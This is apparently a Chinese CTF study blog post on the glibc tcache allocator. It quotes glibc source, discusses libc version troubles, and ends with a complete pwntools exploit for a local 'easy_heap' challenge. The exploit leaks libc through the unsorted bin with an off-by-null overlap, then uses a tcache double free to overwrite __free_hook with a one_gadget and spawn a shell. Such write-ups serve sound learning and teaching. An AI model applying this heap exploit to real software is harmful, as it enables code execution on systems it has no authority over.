/* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache. */
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;
/* There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct"). Keeping overall size low is mildly important. Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
static __thread tcache_perthread_struct *tcache = NULL;
而根据ctf-wiki上的说法,这两个函数会在函数_int_free[] 和__libc_malloc[] 的开头被调用,其中 tcache_put 当所请求的分配大小不大于0x408并且当给定大小的 tcache bin 未满时调用。
从这里我们能可以知道每次在malloc以及free之前,大小不是很大的块基本都要经过tcache的手中,中间商赚差价(bushi,这里其实我也不太理解这个tcache机制,既然他是为了提升分配速度,那为什么还要转交他一手呢,我现在唯一能想到的就是他可能是常驻cache?这点还需要我日后再来探讨,各位师傅如果知道可以评论告诉我一下。
tcahe也并不只有这些机制,你可能回想,如果每次都free小块呢,那small bin、unsorted bin 那些垃圾桶(直译,勿qu)怎么办呢,那要这些bin干甚么,这一大片还占我代码空间。这里我来给大家解答,这些tcache实际上也有着满的情况,当他们满出来时,我们对于堆的操作又是回到了libc2.26以前了。是不是很奈斯,但是一般的题也不会给我们这么多次的malloc机会,接下来我来给大家看看tcache的内容大小的宏定义
[C] 纯文本查看复制代码
/* This is another arbitrary limit, which tunables can change. Each
tcache bin will hold at most this number of chunks. */
# define TCACHE_FILL_COUNT 7
#endif
_int_free (mstate av, mchunkptr p, int have_lock)
{
INTERNAL_SIZE_T size; /* its size */
mfastbinptr *fb; /* associated fastbin */
mchunkptr nextchunk; /* next contiguous chunk */
INTERNAL_SIZE_T nextsize; /* its size */
int nextinuse; /* true if nextchunk is used */
INTERNAL_SIZE_T prevsize; /* size of previous contiguous chunk */
mchunkptr bck; /* misc temp for linking */
mchunkptr fwd; /* misc temp for linking */
size = chunksize (p);
/* Little security check which won't hurt performance: the
allocator never wrapps around at the end of the address space.
Therefore we can exclude some size values which might appear
here by accident or by "design" from some intruder. */
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
|| __builtin_expect (misaligned_chunk (p), 0))
malloc_printerr ("free(): invalid pointer");
/* We know that each chunk is at least MINSIZE bytes in size or a
multiple of MALLOC_ALIGNMENT. */
if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
malloc_printerr ("free(): invalid size");
check_inuse_chunk(av, p);
#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);
if (tcache
&& tc_idx < mp_.tcache_bins
&& tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}
#endif
......
}
关于例题版本问题 哥们的心魔来惹,那就是libc版本的问题,一早上都在捣鼓这玩意儿,原因是我想用how2heap下的题目来练习,但是由于我本机是libc2.34版本,所以编译后也直接给我整的2.34版本,我一开始以为很好解决,但是用patchelf来修改动态链接器以及rpath之后都报出version "GLIBC_2.34" not found 的错误,在网上找了一大堆,发现有说用低版本的gcc编译的,也有换台版本机编译的,之后又听某位师傅说libc2.34版本在编译的时候会给你打个标,这时候如果你改libc环境就会报错,并且推荐我也用docker配台环境,算了以后有时间再配罢。
这里我给大家也提个建议,那就是找题目尽量找elf(虽然可能有些问题),但是如果你自己机子版本过高编译下来是会又很大问题的,这里顺便给出改libc的方法
from pwn import *
context.log_level = "INFO"
io = process('./easy_heap')
libc = ELF('/home/eclipse/tools/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so')
one_gadget1 = 0x4f2a5
one_gadget2 = 0x4f302
one_gadget3 = 0x10a2fc
def slog(name,address): io.success(name +"========>"+ hex(address))
def alloc(size,content) :
io.recvuntil('> ')
io.sendline('1')
io.recvuntil('size \n> ')
io.sendline(str(size))
io.recvuntil('content \n> ')
io.sendline(content)
def free(index) :
io.recvuntil('> ')
io.sendline('2')
io.recvuntil('index \n> ')
io.sendline(str(index))
def show(index) :
io.recvuntil('> ')
io.sendline('3')
io.recvuntil('index \n> ')
io.sendline(str(index))
def quit(size,content) :
io.recvuntil('> ')
io.sendline('4')
#=============== malloc 10 chunks ===================#
for i in range(10):
alloc(0xf0,'aaaaaa')
#=============== done =====================#
#============== free these chunk to should bins ===========#
for i in range(6):
free(i)
free(9)
for i in range(6,9):
free(i)
#now the chunk has 0-6 in tcache,and 7-9 in unsorted bin
#except that,the 7-9 chunk has align in together ,the chunk8's prev_size is 0x100 , and chunk9 is 0x200
#=============== done =====================#
#========= re-alloc these chunk ,but the number is revert ============#
# after that ,0-6 chunks has revert(because of the FILO in tcachei),and the one unsorted chunk has been part with 3 from 7-9
for i in range(10):
alloc(0xf0,'bbbb')
#=============== done =====================#
#========= according to the FILO in tcache ,we should free chunk8 in the end ==========#
for i in range(6):
free(i)
free(8)
#now the tcache is full of chunk,and the chunk8 is the first to malloc
#=============== done =====================#
#============ now we should start our leakage ==========#
free(7) #this chunk will put to the unsorted bin, and it's fd and bk is point to the unsortedbin address
alloc(0xf8,'hello') #because the chunk8 is near by the chunk9,so we should use off-by-null to fit the \x00
# and until now ,tcache is just 6 entity
#after that ,progress thinks the chunk0(old chunk8) ,old chunk7,and the chunk9 is a big chunk
#now the tcache capacity is 6 ,so we should free it ,so that we can malloc the old chunk7 for leakage
free(6) #now the tcache is full
free(9)
# the program hold the view that it cut the big chunk's 1/3 for giving us ,so it's fd and bk pass for the chunk0(just old chunk8,and ,the chunk0 is useable)
# because the tcache is full ,so we need to clear out it so that we can malloc the oldchunk7
for i in range(8):
alloc(0xf8,'aaaaa')
#so we can check the unsorted bin address!!!!
show(0)
unsorted_addr = u64(io.recv(6).ljust(8,b'\x00'))
slog('unsorted_bin_address',unsorted_addr)
#=============== done =====================#
#============== calculate the offset in libc ============#
main_arena_addr = unsorted_addr - 0x60
slog('main_adrena_address',main_arena_addr)
malloc_hook = libc.sym['__malloc_hook']
libc_base = main_arena_addr - malloc_hook - 0x10
slog('libc_base',libc_base)
one_gadget1 += libc_base
one_gadget2 += libc_base
one_gadget3 += libc_base
#=============== done =====================#
#============== exploitation ==============#
# now the chunk situation is unsortedbin ->(chunk0(using),chunk9) tcache bins -> null
# if we malloc(0xf8) ,then chunk0 will be allocatedd to chunk9,so that we can use double free
alloc(0xf0,'ccccc')
#then we free twice
free(1) #these two guys is helping us to pass the tcache check
free(2)
free(0)
free(9)
free_hook = libc.sym['__free_hook'] + libc_base
slog('free_hook_address',free_hook)
payload = p64(free_hook)
alloc(0xf0,payload)
alloc(0xf0,'aaaaa')
alloc(0xf0,p64(one_gadget2))
free(1)
io.interactive()